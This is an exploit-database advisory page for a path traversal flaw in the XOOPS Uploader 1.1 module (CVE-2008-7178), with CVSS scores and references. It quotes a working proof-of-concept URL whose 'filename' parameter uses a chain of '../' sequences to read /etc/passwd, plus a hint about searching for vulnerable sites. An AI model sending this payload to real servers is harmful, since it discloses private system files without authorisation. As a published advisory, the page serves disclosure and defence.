XOOPS Module Uploader 1.1 (filename) File Disclosure Vulnerability

2009-09-08 / 2009-09-09
Credit: MEEKAAH
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2008-7178
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

MMM MMM MMM MMM MMMMMMMMMMMMM MMMMMMMMM MMMMMMMMMM MMMMMMMMM MMMMMMMMM MMMMMMMMM MMMMMMMMM MM MMM MMM MM MMM MMM MMM MMM MMM MMM MMM MMM MMM MM MMM MMM MMMMMMM MMMMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MM MMM MMM MMMMMMM MMMMMMMM MMM MMMMM MMMMMMMMMM MMMMMMMMMM MMM MMM MM MMM MMM MM MMM MMM MMMN MMM MMM MMM MMM MMM MMM MM MMM MMM MMMMMMMMM MMMMMMMMMM MMM NMM MMM MMM MMM MMM MMM MMM [*] Vulnerable : XOOPS Module Uploader 1.1 - Local File Inclusion Module url : http://www.xoops.org/modules/repository/singlefile.php?cid=28&lid=1243 [*] Author : MEEKAAH [*] Dork : Find it yourself ;) [*] POC : http://localhost/modules/uploader/index.php?action=downloadfile&filename=[LFI] [*] Example : http://localhost/modules/uploader/index.php?action=downloadfile&filename=../../../../../../../../../../../../../../../../etc/passwd ----------------------------------------------------------------------------------------------------------- [*] Greetings : Alex, Adeel, CeBbZ, Cubacola, Noel ...

References:

http://xforce.iss.net/xforce/xfdb/42925
http://www.securityfocus.com/bid/29600
http://www.milw0rm.com/exploits/5756


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top